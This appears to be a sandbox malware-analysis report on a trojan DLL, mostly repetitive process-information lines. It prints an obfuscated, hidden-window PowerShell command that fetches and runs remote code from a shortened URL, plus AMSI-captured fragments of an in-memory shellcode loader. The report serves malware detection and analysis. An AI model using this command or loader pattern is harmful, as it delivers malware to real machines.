Source:	Binary string: softy.pdbs.dll\| source: powershell.exe, 00000013.00000002.3249780727.0000017775B91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbvice source: powershell.exe, 00000010.00000002.3129336999.00000255548F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Bill Hillman\source\repos\prohashingDLL\x64\Release\prohashingDLL.pdb source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll
Source:	Binary string: tility.pdbpdbity.pdb source: powershell.exe, 0000000F.00000002.3077151933.000002027F6BB000.00000004.00000020.00020000.00000000.sdmp

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('M
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((a_a1 kernel32.dll VirtualAlloc), (a_B @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $f_G = $f_F.Invoke([IntPtr]::Zero, $p4y_l0ad.Length, 0x3000, 0x40)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('M

Obfuscated command line found

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior

Suspicious powershell command line found

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Static PE information: section name: _RDATA

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848E8ED75 push ss; retf		6_2_00007FF848E8ED79
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF848E700BD pushad ; iretd		15_2_00007FF848E700C1

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
